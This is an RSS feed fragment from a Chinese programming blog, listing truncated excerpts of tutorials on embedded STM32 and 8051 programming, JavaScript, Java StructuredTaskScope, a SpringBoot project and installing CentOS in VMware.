      <description>JS案例·图片放大镜&#xA;🌟效果展示 🌟HTML结构&#xA;🌟CSS样式&#xA;🌟实现思路 🌟具体实现 1.初始化数据图片&#xA;2.获取所需DOM元素&#xA;3.初始化页面&#xA;初始化缩略图&#xA;绑定事件&#xA;🌟完整代码&#xA;🌟写在最后 🌟效果展示 🌟HTML结构 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./index.css&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!--最外层容器 --&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;!-- 左侧原图 --&amp;gt; &amp;lt;div class=&#34;left-img&#34;&amp;gt; &amp;lt;!-- 遮罩层 --&amp;gt; &amp;lt;div class=&#34;mask&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 右侧放大图片 --&amp;gt; &amp;lt;div class=&#34;right-img&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- 缩略图集合 --&amp;gt; &amp;lt;div class=&#34;img-list-wrapper&#34;&amp;gt; &amp;lt;ul class=&#34;img-list&#34;&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script src=&#34;./index.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 🌟CSS样式 * { margin: 0; padding: 0; list-style: none; } .</description>
    </item>
    <item>
      <title>基于 SpringBoot 的生鲜冷链系统的设计与实现</title>
      <link>https://bchobby.github.io/posts/01503855082b796fd0b229bffcb12fe9/</link>
      <pubDate>Wed, 30 Aug 2023 20:40:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01503855082b796fd0b229bffcb12fe9/</guid>
      <description>一、项目介绍 随着社会的发展，消费者对生鲜食品的质量要求越来越高，安全、新鲜、营养、好 吃等都成为消费者选购果蔬产品的重要指标[1]。一个好的供应商需要能够提供物美价廉 的商品，提高强化竞争力并带来一定的利润，要有永续经营的理念[2]。这种供货商成为 合作伙伴，才是采购要积极寻找的目标。为了节约采购成本和保证供给，要充分利用供 应商关系管理系统与电子商务技术和电子采购平台来寻找最佳资源，与供应商建立长期 合作的伙伴关系，同时由于食品行业的特殊性，要对采购物料实行批次跟踪与保质期限 管理，能够从产成品到半成品、原材料、供应商等进行追溯跟踪，在确保质量的同时能 够发现问题和及时解决问题。&#xA;二、模块介绍 系统模块： 根据业务的需求进行系统模块可以划分为权限管理、供应商管理模块、商品管理模 块、购物车模块、订单模块、数据统计模块；此系统根据用户角色不同展示不同界面， 分配不同权限。商品从需求订单到入库、分拣、出库配送物流等通过此系统跟踪操作， 完善商品冷链配送情况。 功能架构： 消费者用户系统：用户登录、浏览商品、查看订单信息、历史订单、购物车、下单。 系统管理后台：员工权限管理、供应商管理、商品管理、供应商/商品信息浏览、员 工登录、订单管理。 角色： 后台系统超级管理员：登录后台管理系统，拥有系统所有操作权限。 后台管理员：登录后台管理系统，员工权限操作，供货商、商品管理。 员工：登录管理系统，商品入库，质检，分拣发货售后管理。 用户：登录注册系统，完善信息，浏览商品、添加购物城、在线下单等，使用前端框架 layUI 和 目前流行框架 SpringBoot，采用关系数据库 MySQL 用来组织、存储和管理数据的仓库， 以实现供应商、用户的需求。&#xA;生鲜冷链流程图，如图：&#xA;用户登录：系统的登录功能是不可缺少的，用户通过账户密码登录，同时输入验证 码才能验证通过登录成功。 供应商管理模块：可以上传商家信息，编辑/更新商家信息，删除商家信息等操作。&#xA;商品管理模块：上传商品信息、图片分类等操作，编辑/更新商品的信息，删除商品 信息，同步商品信息等操作。&#xA;购物车模块：此模块提供给消费群体，消费者可以浏览所有的商品信息，挑选商品 选中喜欢的商品添加至订单中。&#xA;订单模块：消费者将选中的商品添加到订单中，可以通过订单模块浏览所有的订单 信息，并且可以查看订单详情。&#xA;三、数据库设计 用户表（sys_user）&#xA;静态表（sys_type）&#xA;供应商表（sys_supplier）&#xA;商品表（sys_product）&#xA;订单表（sys_order）&#xA;四、页面展示 登录页面：&#xA;统计管理模块：&#xA;权限管理模块：&#xA;供应商管理模块：&#xA;商品管理模块：&#xA;订单信息模块：</description>
    </item>
    <item>
      <title>51--定时器/计数器，串口，中断的巧妙关系</title>
      <link>https://bchobby.github.io/posts/bba1462f2258b3bf4d60c5384b8dd38f/</link>
      <pubDate>Wed, 30 Aug 2023 20:37:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bba1462f2258b3bf4d60c5384b8dd38f/</guid>
      <description>目录&#xA;什么是中断&#xA;什么是定时器计数器&#xA;什么是串口 开始&#xA;直接配置中断 中断+定时器/计数器&#xA;串口+中断&#xA;总结 中断查询次序号：&#xA;什么是中断 中断是为使单片机具有对外部或内部随机发生的事件实时处理而设置的， 中断功能的存在，很大程度上提高了单片机处理外部或内部事件的能力。&#xA;STC89C5X 系列单片机提供了 8 个中断请求源，它们分别是：外部中断 O(INTO)、外部中断 1(INT1)、外部中断 2(INT2)、外部中断 3(INT3)、定时器 0 中断、定时器 1 中断、定时器 2 中断、串口(UART)中断。&#xA;举例子来说，我们在写作业，突然水开了，那么我们就得去把水关了，然后再回来写作业。这其中的水开了，然后跑去关水都是中断，总之就是影响主要程序的就是中断；&#xA;那么定时器有什么好处呢？&#xA;①分时操作。CPU 可以分时为多个 I/O 设备服务，提高了计算机的利用率；&#xA;②实时响应。CPU 能够及时处理应用系统的随机事件，系统的实时性大大增 强；&#xA;③可靠性高。CPU 具有处理设备故障及掉电等突发性事件能力，从而使系统 可靠性提高&#xA;什么是定时器计数器 ①51 单片机有两组定时器/计数器，因为既可以定时，又可以计数，故称之 为定时器/计数器。&#xA;②定时器/计数器和单片机的 CPU 是相互独立的。定时器/计数器工作的过程 是自动完成的，不需要 CPU 的参与。&#xA;③51 单片机中的定时器/计数器是根据机器内部的时钟或者是外部的脉冲信 号对寄存器中的数据加 1。 有了定时器/计数器之后，可以增加单片机的效率，一些简单的重复加 1 的 工作可以交给定时器/计数器处理。CPU 转而处理一些复杂的事情。同时可以实 现精确定时作用。&#xA;什么是串口 串口是是采用串行通信方式的扩展接口&#xA;串行接口简称串口，也称串行通信接口或串行通讯接口，是采用串行通信方式的扩展接口。串行接口是指数据一位一位地顺序传送。&#xA;开始 为什么没用过直接配置的中断，不是说不能直接配置中断，而是很少，这就让大家以为不能单独配置中断；他需要一个命令才能开起中断，至于开启条件还是的理解内部结构框图&#xA;直接配置中断 配置中断0（中断0是外部中断，顾名思义，当你外部条件满足才能开启）——》按下独立按键3（外部中断0的开启条件就是按键3按下，至于是下降沿开启还是低电平开启，这取决于你的配置）——》中断开启；&#xA;//以配置外部中断0为例 void Init0() { IT0=1; IE0=0; EX0=1; EA=1; PX0=0; } 中断+定时器/计数器 ①首先配置好二者（共同配置），那么什么时候会触发中断呢，那就是当定时器/计数器溢出的时候，不如当时间达到TH0(&amp;lt;&amp;lt;8)+TL0=65535us，就会开始执行中断；</description>
    </item>
    <item>
      <title>STM32一HSE/HSI调频</title>
      <link>https://bchobby.github.io/posts/11e5427135b2abf7a7dd9f3ebde78d3e/</link>
      <pubDate>Wed, 30 Aug 2023 20:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11e5427135b2abf7a7dd9f3ebde78d3e/</guid>
      <description>目录&#xA;为什么要调频&#xA;什么是HSE 什么是HSI&#xA;配置HSE外部高速时钟&#xA;HSE配置&#xA;HSI配置&#xA;为什么要调频 在STM32中有很多的芯片外设，他们的时钟频率或许不是一样的，为了各个外设之间能够协调运行，我们就需要对某个外设进行调频，比如对USB\SDIO\HCLK\ADC等等调频，这些的是必要的，韦德就是满足运行要求。&#xA;什么是HSE HSE 是高速的外部时钟信号，可以由有源晶振或者无源晶振提供，频率从 4-16MHZ 不等。当 使用有源晶振时，时钟从 OSC_IN 引脚进入，OSC_OUT 引脚悬空，当选用无源晶振时，时钟从 OSC_IN 和 OSC_OUT 进入，并且要配谐振电容。&#xA;HSE 最常使用的就是 8M 的无源晶振。当确定 PLL 时钟来源的时候，HSE 可以不分频或者 2 分 频，这个由时钟配置寄存器 CFGR 的位 17：PLLXTPRE 设置，我们设置为 HSE 不分频。&#xA;什么是HSI HSI时钟信号由内部8MHz的RC振荡器产生，可直接作为系统时钟或在2分频后作为PLL输入。&#xA;HSI RC振荡器能够在不需要任何外部器件的条件下提供系统时钟。它的启动时间比HSE晶体振 荡器短。然而，即使在校准之后它的时钟频率精度仍较差。&#xA;在这里通过外部时钟或者内部时钟的一步一步配置来达到自己想要的时钟；&#xA;配置过程顺着这个图来；&#xA;配置HSE外部高速时钟 注:因为系统定义为频率为72M，所以想要修改频率的话，必须在修改之前把频率在此初始化&#xA;1、开启 HSE/HSI ，并等待 HSE/HSI 稳定 2、设置 AHB、APB2、APB1 的预分频因子&#xA;3、设置 PLL 的时钟来源，和 PLL 的倍频因子，设置各种频率主要就是在这里设置 4、开启 PLL，并等待 PLL 稳定 5、把 PLLCK 切换为系统时钟 SYSCL&#xA;HSE配置 void HSE_SetSysClk(uint32_t RCC_PLLMul_x) { ErrorStatus&#x9;HSEStartupStatus; //先把时钟初始化 RCC_DeInit(); //打开HSE RCC_HSEConfig(RCC_HSE_ON); //等待打开，打开需要一段时间，并且之后还得检测一下是否打开 HSEStartupStatus=RCC_WaitForHSEStartUp(); //判断是否打开成功，否则跳转到最下面，执行else里面的程序 if(HSEStartupStatus==SUCCESS) { //打开闪存器，把其他几个数据存入，待用 FLASH_PrefetchBufferCmd(FLASH_PrefetchBuffer_Enable); //设置闪存的周期，这里按最大的来，大了没事，小了就会还有数据没进来 FLASH_SetLatency(FLASH_Latency_2); //把其他数据开始存入 RCC_HCLKConfig(RCC_SYSCLK_Div1); RCC_PCLK1Config(RCC_HCLK_Div2); RCC_PCLK2Config(RCC_HCLK_Div1); //调整倍率 RCC_PLLConfig(RCC_PLLSource_HSE_Div1,RCC_PLLMul_x); //打开PLL，这里如果你是使用其他的配置时钟的话例如：HSE/HSI/PLL RCC_PLLCmd(ENABLE); //等待PLL稳定 while(RCC_GetFlagStatus(RCC_FLAG_PLLRDY)==RESET); //稳定之后把系统时钟换成我们配置的时钟 RCC_SYSCLKConfig(RCC_SYSCLKSource_PLLCLK); //等待时钟修改成功 while(RCC_GetSYSCLKSource()!</description>
    </item>
    <item>
      <title>STM32--外部中断——EXIT</title>
      <link>https://bchobby.github.io/posts/ab7685d98455f07963768d498782837b/</link>
      <pubDate>Wed, 30 Aug 2023 20:35:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab7685d98455f07963768d498782837b/</guid>
      <description>目录&#xA;NVIC&#xA;配置NVIC&#xA;EXIT&#xA;功能框图&#xA;总结&#xA;NVIC NVIC 是嵌套向量中断控制器，控制着 整个芯片中断相关的功能，它跟内核紧密耦合，是内核里面的一个外设。&#xA;要想使用中断,就需要配置这个内部中断,而外部只是一个触发信号;&#xA;配置NVIC 下面是常用的配置:&#xA;为了方便,使用固件库函数&#xA;//关于NVIC中断的结构体 typedef struct { uint8_t NVIC_IRQChannel; /*!&amp;lt; Specifies the IRQ channel to be enabled or disabled. This parameter can be a value of @ref IRQn_Type (For the complete STM32 Devices IRQ Channels list, please refer to stm32f10x.h file) */ uint8_t NVIC_IRQChannelPreemptionPriority; /*!&amp;lt; Specifies the pre-emption priority for the IRQ channel specified in NVIC_IRQChannel. This parameter can be a value between 0 and 15 as described in the table @ref NVIC_Priority_Table */ uint8_t NVIC_IRQChannelSubPriority; /*!</description>
    </item>
    <item>
      <title>STM32—按键中断</title>
      <link>https://bchobby.github.io/posts/b965eb63698ee73b3d03245a5515e2af/</link>
      <pubDate>Wed, 30 Aug 2023 20:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b965eb63698ee73b3d03245a5515e2af/</guid>
      <description>目录&#xA;中断简介&#xA;程序&#xA;注：&#xA;中断简介 （1） EXTI(外部中断)：EXTI是ST公司在其STM32产品上扩展的外中断控制。它负责管理映射到GPIO引脚上的外中断和片内几个集成外设的中断，以及软件中断。其输出最终被映射到NVIC的相应通道。因此，配置EXTI中断的过程必然包含对NVIC的配置。&#xA;（2） NVIC(嵌套向量中断)：嵌套向量中断控制器，属于内核外设， 管理着包括内核和片上所有外设的中断相关的 功能。嵌套向量中断控制器(NVIC)和处理器核的接口紧密相连，可以实现低延迟的中断处理和高效地 处理晚到的中断。&#xA;至于两者的作用，我们就举个例子来说一下。&#xA;例如下面配置EXTI0的过程，就要首先配置EXTI控制器（使能相应的中断线，选择中断/事件模式，触发边沿极性），然后再配置NVIC控制器（EXTI0映射在NVIC上的通道号，中断优先级，中断屏蔽状态）。也就是EXTI类比成小门，而NVIC是大门，二者是相互联通的，我们使用EXTI来选择中断的中断源，NVIC判决中断源的执行顺序。&#xA;程序的编写就是按照这个流程来的，这里是有两条线路，一条事件中断，另一条为NVIC中断控制器，编写程序已NVIC中断为例！&#xA;程序 为了大家更好的理解，我们就写一个按键中断来检验一下。&#xA;LED.c&#xA;#include &#34;bsp_led.h&#34; /** * @brief 初始化控制LED的IO * @param 无 * @retval 无 */ void LED_GPIO_Config(void) {&#x9;GPIO_InitTypeDef&#x9;GPIO_InitStruct; RCC_APB2PeriphClockCmd(LED_GPIO_CLK,ENABLE); GPIO_InitStruct.GPIO_Mode=GPIO_Mode_Out_PP ; GPIO_InitStruct.GPIO_Pin=LED_RED_PIN|LED_GREEN_PIN|LED_YELLOW_PIN; GPIO_InitStruct.GPIO_Speed=GPIO_Speed_50MHz ; GPIO_SetBits(LED_PORT,LED_RED_PIN|LED_GREEN_PIN|LED_YELLOW_PIN); GPIO_Init(LED_PORT,&amp;amp;GPIO_InitStruct); } LED.h&#xA;#ifndef __LED_H #define&#x9;__LED_H #include &#34;stm32f10x.h&#34; //LED #define LED_GPIO_CLK&#x9;RCC_APB2Periph_GPIOB #define LED_GREEN_PIN&#x9;GPIO_Pin_0 #define LED_PORT&#x9;GPIOB #define LED_RED_PIN&#x9;GPIO_Pin_5 #define LED_YELLOW_PIN&#x9;GPIO_Pin_1 #define&#x9;ON&#x9;1 #define OFF&#x9;0 #define&#x9;LED_GREEN(a)&#x9;if(a)\ {GPIO_ResetBits(LED_PORT,LED_GREEN_PIN);}\ else\ {GPIO_SetBits(LED_PORT,LED_GREEN_PIN);} #define&#x9;LED_RED(a)&#x9;if(a)\ {GPIO_ResetBits(LED_PORT,LED_RED_PIN);}\ else\ {GPIO_SetBits(LED_PORT,LED_RED_PIN);} #define&#x9;LED_YELLOW(a)&#x9;if(a)\ {GPIO_ResetBits(LED_PORT,LED_YELLOW_PIN);}\ else\ {GPIO_SetBits(LED_PORT,LED_YELLOW_PIN);} //打开灯&#x9;#define&#x9;LED_G&#x9;{LED_GREEN(ON);LED_RED(OFF);LED_YELLOW(OFF);}&#x9;#define&#x9;LED_R&#x9;{LED_GREEN(OFF);LED_RED(ON);LED_YELLOW(OFF);} #define&#x9;LED_B&#x9;{LED_GREEN(OFF);LED_RED(OFF);LED_YELLOW(ON);} #define LED_G_TOGGLE&#x9;{LED_PORT-&amp;gt;ODR^=GPIO_Pin_0;} //BEEPER #define BEEP_GPIO_CLK&#x9;RCC_APB2Periph_GPIOA #define BEEP_PIN&#x9;GPIO_Pin_8 #define BEEP_PORT&#x9;GPIOA void LED_GPIO_Config(void); void BEEP_Config(void); #endif /* __LED_H */ KEY.</description>
    </item>
    <item>
      <title>STM32—串口发送于接收</title>
      <link>https://bchobby.github.io/posts/2020c6d4724c3bce6b407b22ff55f9e8/</link>
      <pubDate>Wed, 30 Aug 2023 20:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2020c6d4724c3bce6b407b22ff55f9e8/</guid>
      <description>目录&#xA;串口通讯&#xA;配置&#xA;1、初始化IO口&#xA;2、初始化串口&#xA;1——发送一个字节&#xA;2——发送数组&#xA;3——发送字符串&#xA;4——发送半字&#xA;5——串口的重定向&#xA;中断配置&#xA;串口通讯 串口通讯 (Serial Communication) 是一种设备间非常常用的串行通讯方式，因为它简单便捷，因此 大部分电子设备都支持该通讯方式，电子工程师在调试设备时也经常使用该通讯方式输出调试 信息。&#xA;所以很有必要去了解串口。&#xA;配置 既然想要使用串口，那么就需要懂得配置，只有配置出我们想要的，才能保证设备之间的通讯。&#xA;首先，寻找到与串口相对于的IO口，这里我以PA9,PA10,为例。&#xA;1、初始化GPIO口 USART_GPIO_Config() { GPIO_InitTypeDef&#x9;GPIO_InitStruct ; //使能时钟一定要提前，不然会出现乱码的情况 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA,ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1,ENABLE); GPIO_InitStruct.GPIO_Pin=GPIO_Pin_9; GPIO_InitStruct.GPIO_Mode=GPIO_Mode_AF_PP ;&#x9;//复用输出，根据手册得出 GPIO_InitStruct.GPIO_Speed=GPIO_Speed_50MHz; GPIO_Init(GPIOA, &amp;amp;GPIO_InitStruct ); GPIO_InitStruct.GPIO_Mode=GPIO_Mode_IN_FLOATING ; GPIO_InitStruct.GPIO_Pin=GPIO_Pin_10; GPIO_Init(GPIOA, &amp;amp;GPIO_InitStruct ); USART_InitTypeDef&#x9;USART_InitStruct; } 串口的发送端口配置模式：复用输出，配置其他的模式会出现乱码。&#xA;串口的接收端口配置模式：浮空输入，因为是接收端口。&#xA;2、初始化串口 USART_Config() { USART_InitTypeDef&#x9;USART_InitStruct; //下面的配置都是依据通讯设备之间的约定来配置的，二者必须约定一致，否则会出现乱码 USART_InitStruct.USART_BaudRate=115200;// USART_InitStruct.USART_HardwareFlowControl=USART_HardwareFlowControl_None; USART_InitStruct.USART_Mode=USART_Mode_Rx|USART_Mode_Tx; USART_InitStruct.USART_Parity=USART_Parity_No; USART_InitStruct.USART_StopBits=USART_StopBits_1; USART_InitStruct.USART_WordLength=USART_WordLength_8b; USART_Init( USART1,&amp;amp;USART_InitStruct); NVIC_Config();//中断初始化 USART_ITConfig(USART1,USART_IT_RXNE,ENABLE);//当符合条件就进入中断 USART_Cmd(USART1,ENABLE);//最后一步，使能串口 } 这样只是把串口配置好了，但是二者的协议还没写好，对于STM32来说，只要调用相应的函数就可以。</description>
    </item>
    <item>
      <title>蓝桥杯十二届省赛</title>
      <link>https://bchobby.github.io/posts/d48245a6c661736ed38107a29df28af4/</link>
      <pubDate>Wed, 30 Aug 2023 20:32:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d48245a6c661736ed38107a29df28af4/</guid>
      <description>这是我备赛时写的代码，还挺好，功能全部实现。有意者私&#xA;main.c #include &#34;Define.h&#34; u8 flag=1; u8 time_key,test; bit flag_V_G; u8 time_adc; u16 U16_V,U16_V_pro; u16 frequence_pro; bit flag_LED; u16 time_key7; void Key_pross() { if(time_key&amp;gt;=10) { time_key=0; Key_scan(); if(trg&amp;amp;0x08)//4 { flag++; flag%=3; } else if(trg&amp;amp;0x04)//5 flag_V_G=~flag_V_G; else if(trg&amp;amp;0x02)//6 U16_V_pro=U16_V;&#x9;if(con&amp;amp;0x01) time_key7++; else if(con==0x00&amp;amp;&amp;amp;trg==0x00) { if(time_key7&amp;gt;=100) { flag_LED=~flag_LED; time_key7=0; } else if(time_key7!=0) { time_key7=0; frequence_pro=frequence; } } } } u8 LED=0XFF; void LED_prosss() { if(flag_LED==0) { if(U16_V&amp;gt;U16_V_pro) LED&amp;amp;=~0x01; else LED|=0X01; if(frequence&amp;gt;frequence_pro) LED&amp;amp;=~0x02; else LED|=0X02; if(flag==0) LED&amp;amp;=~0x04; else LED|=0X04; if(flag==1) LED&amp;amp;=~0x08; else LED|=0X08; if(flag==2) LED&amp;amp;=~0x10; else LED|=0X10; Device_Ctri(0x80,LED); } else Device_Ctri(0x80,0xff); } void ADC_pross() { if(time_adc&amp;gt;=100) { time_adc=0; U16_V=ADC_read(0x43)*100/51; } } void Smg_pross() { if(flag==0)//频率显示 { Smg_show[0]=Smg_code[15]; Smg_show[1]=0x00; Smg_show[2]=0x00; Smg_show[3]=Smg_code[frequence&amp;gt;9999 ?</description>
    </item>
    <item>
      <title>蓝桥杯单片机十二届国赛</title>
      <link>https://bchobby.github.io/posts/9fb0592c582a115ae64f7e9d135e1fb7/</link>
      <pubDate>Wed, 30 Aug 2023 20:31:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fb0592c582a115ae64f7e9d135e1fb7/</guid>
      <description>main.c&#xA;#include &#34;Define.h&#34; bit flag,flag_set; u8 flag_display; u8 time_sonic; u16 length,length_save; u8 time_key,test; bit flag_C_F; u8 set_time[5]={2,3,5,7,9}; u8 compare_time=2; u8 local_time; u16 set_length=20,set_length_compare; u8 G_D_Z=0; bit flag_sonic; u16 length_max=0,length_min=100,length_arv=0; bit flag_light=1,flag_light_pro; u8 time_adc,ligth; u8 Sec_pro; u16 sonic_count; u8 LED=0XFF; u8 count=0; void adc_process() { if(time_adc&amp;gt;=100) { time_adc=0; Read_adc(); ligth=Read_adc(); //&#x9;if(flag_C_F==0) //&#x9;{ flag_light_pro=flag_light; if(ligth&amp;lt;50) flag_light=0; else flag_light=1; if(flag_light_pro==1&amp;amp;&amp;amp;flag_light==0) { flag_sonic=1;//打开触发 } //&#x9;} if(length_save&amp;lt;=10) { write_adc(51); } else if(length_save&amp;gt;=80) { write_adc(255); } else { write_adc((u8)2.</description>
    </item>
    <item>
      <title>STM32—EEPROM</title>
      <link>https://bchobby.github.io/posts/b33f7faa0789a47300fb701f1aa3d20c/</link>
      <pubDate>Wed, 30 Aug 2023 20:30:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b33f7faa0789a47300fb701f1aa3d20c/</guid>
      <description>介绍 EEPROM作为掉电不丢失的储存器，在使用上还是比较广泛的，&#xA;其可重复擦写，电擦除，使用方便 。&#xA;这里主要是以AT24C02为例介绍&#xA;硬件设计 Pin Configurations&#xA;该电路图设置下，A0—A2都是接地，所以EEPROM的地址为0x1010 000.&#xA;SDA和SCL分别与I2C相连，二者数据交换。&#xA;WP是写保护端口，这里直接接地，就没有写保护的功能，当然这不是说写保护不重要，只是在此处教学没有太大的用途，要是想控制WP，那就使WP与GPIO相连。&#xA;协议 写入 又协议图可知，I2C协议就是这个，所以我们可以把I2C协议拉出来使用。&#xA;向串行EEPROM指定地址写入若干数据，采用页写操作提高写入效率。&#xA;字节写入的话，每写完一次就需要判断是否写入完成，这一很麻烦。&#xA;于是我们就采用突发写入，也就是连续写入，这样就能直接写入多个字节。&#xA;/* ********************************************************************************************************* * 函 数 名: ee_ReadBytes * 功能说明: 从串行EEPROM指定地址处开始读取若干数据 * 形 参：_usAddress : 起始地址 * _usSize : 数据长度，单位为字节 * _pReadBuf : 存放读到的数据的缓冲区指针 * 返 回 值: 0 表示失败，1表示成功 ********************************************************************************************************* */ uint8_t ee_ReadBytes(uint8_t *_pReadBuf, uint16_t _usAddress, uint16_t _usSize) { uint16_t i; /* 采用串行EEPROM随即读取指令序列，连续读取若干字节 */ /* 第1步：发起I2C总线启动信号 */ i2c_Start(); /* 第2步：发起控制字节，高7bit是地址，bit0是读写控制位，0表示写，1表示读 */ i2c_SendByte(EEPROM_DEV_ADDR | EEPROM_I2C_WR); /* 此处是写指令 */ /* 第3步：等待ACK */ if (i2c_WaitAck() !</description>
    </item>
    <item>
      <title>js 生成随机数的方式</title>
      <link>https://bchobby.github.io/posts/b0d32db2ca8ad7e222debdbfbf4d4a1c/</link>
      <pubDate>Wed, 30 Aug 2023 16:18:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0d32db2ca8ad7e222debdbfbf4d4a1c/</guid>
      <description> js 生成随机数的方式 Math.random()new Date().getTime()randomjsglobalThis.crypto.getRandomValues globalThis.crypto.getRandomValues(new Uint32Array(10)) // logs Uint32Array(10) [4070084714, 3331714512, 167030621, 3861175006, 162926641, 1318663833, 2059866687, 3205865186, 753962239, 1649391101, buffer: ArrayBuffer(40), byteLength: 40, byteOffset: 0, length: 10, Symbol(Symbol.toStringTag): &#39;Uint32Array&#39;] 0:4070084714 1:3331714512 2: 167030621 3: 3861175006 4: 162926641 5: 1318663833 6: 2059866687 7: 3205865186 8: 753962239 9: 1649391101 buffer: ArrayBuffer(40) byteLength: 40 byteOffset: 0 length: 10 Symbol(Symbol.toStringTag): &#34;Uint32Array&#34; [[Prototype]]: TypedArray </description>
    </item>
    <item>
      <title>StructuredTaskScope</title>
      <link>https://bchobby.github.io/posts/a1fe5390546dd246d9f714ef90ba21a2/</link>
      <pubDate>Wed, 30 Aug 2023 13:52:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1fe5390546dd246d9f714ef90ba21a2/</guid>
      <description>StructuredTaskScope是为了解决主线程和子线程之间的可见性(observability)，消除因取消和关闭而产生的常见风险，例如线程泄漏和取消延迟而引入的一个新组件。&#xA;先来看一个简单的例子：&#xA;我们有一个handle()方法，该方法需要分别调用另外两个方法findUser()和fetchOrder()，将它们的结果组合起来返回给上游，这两个方法中都有I/O操作相互之间没有关联性，为了提高效率我们使用了一个线程池，并发的执行这两个方法，代码如下：&#xA;Response handle() throws ExecutionException, InterruptedException { Future&amp;lt;String&amp;gt; user = esvc.submit(() -&amp;gt; findUser()); Future&amp;lt;Integer&amp;gt; order = esvc.submit(() -&amp;gt; fetchOrder()); String theUser = user.get(); // Join findUser int theOrder = order.get(); // Join fetchOrder return new Response(theUser, theOrder); } 这段代码有以下几个问题&#xA;如果findUser()报错，主线程也会返回异常，但是另一个方法由于在不同的线程中，感知不到异常会继续执行下去，这种称为线程泄露如果handle()被中断，findUser()和fetchOrder()会继续执行下去，也会造成线程泄露如果findUser()需要执行很长时间，而fetchOrder()一开始就抛出了异常，主线程会一直block在user.get()上直到该结果返回，白白浪费了时间。&#xA;除此之外，主线程和子线程之间并没有关联，异常调用栈也不在一起，发生错误之后也难以排查和调试。 StructuredTaskScope就是为解决这些问题而创建的，我们看一个例子：&#xA;Response handle() throws ExecutionException, InterruptedException { try (var scope = new StructuredTaskScope.ShutdownOnFailure()) { Supplier&amp;lt;String&amp;gt; user = scope.fork(() -&amp;gt; findUser()); Supplier&amp;lt;Integer&amp;gt; order = scope.fork(() -&amp;gt; fetchOrder()); scope.</description>
    </item>
    <item>
      <title>VMware安装虚拟机详细教程</title>
      <link>https://bchobby.github.io/posts/93bbbb9039da045c9d0ef84e307e93b8/</link>
      <pubDate>Wed, 30 Aug 2023 13:52:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93bbbb9039da045c9d0ef84e307e93b8/</guid>
      <description>VMware安装虚拟机目录 一、VMware添加虚拟机二、虚拟机启动及配置三、IP地址、子网掩码、网关和域名 一、VMware添加虚拟机 在我们安装完VWware，下载好安装的操作系统的镜像文件后（这里我们是（centos7版本），可以开始安装了。&#xA;点击新建虚拟机&#xA;点击下一步&#xA;选择workstation 15.x，点击下一步&#xA;选择稍后安装操作系统，点击下一步&#xA;选择Linux和CentOS 7 64位，，点击下一步&#xA;输入虚拟机名称和选择虚拟机的位置，，点击下一步&#xA;配置处理器数量和内核数量，点击下一步&#xA;这里根据本机电脑内存配置&#xA;选择使用网络地址切换（NAF）,点击下一步&#xA;选择LSI,Logic,点击下一步&#xA;选择SCSI(S),点击下一步&#xA;选择创建新虚拟磁盘,点击下一步&#xA;输入磁盘的大小，选择“将虚拟磁盘存储为单个文件”,点击下一步&#xA;这里确定下文件名,点击下一步&#xA;选择自定义硬件&#xA;这里声卡和打印机我们不需要，可以选择完之后移除&#xA;这里更换到镜像文件（CentOS 7）的地址，点击关闭&#xA;点击完成，这里创建成功&#xA;二、虚拟机启动及配置 点击开启虚拟机&#xA;加载完之后选择语言，点击Continue&#xA;选择DATE&amp;amp;TIME进行设着&#xA;选择ASIA和shanghai,点击左上角的done&#xA;选择NETWORK &amp;amp; HOST TIME&#xA;开启之后，点击done&#xA;开始安装&#xA;设置虚拟机密码&#xA;配置用户&#xA;如下图进行虚拟机登录，账号root，密码root&#xA;设置主机别名&#xA;# 设置主机别名，sole替换成你需要设置的名称 hostnamectl set-hostname sole 查看防火墙，如下图，此时防火墙是开启状态&#xA;# 查看防火墙状态 systemctl status firewalld 关闭和禁用防火墙&#xA;# 关闭防火墙状态 systemctl stop firewalld # 禁用防火墙 systemctl disable firewalld 下面进行全局设置&#xA;# 编辑此文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 把&#34;全部删除</description>
    </item>
    <item>
      <title>编写C语言时，出现strlen，Sleep，scanf报错如何解决；strcmp，tolower,toupper什么时候用，</title>
      <link>https://bchobby.github.io/posts/3c81b915683cf86773aaecfcfac972b0/</link>
      <pubDate>Wed, 30 Aug 2023 11:44:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c81b915683cf86773aaecfcfac972b0/</guid>
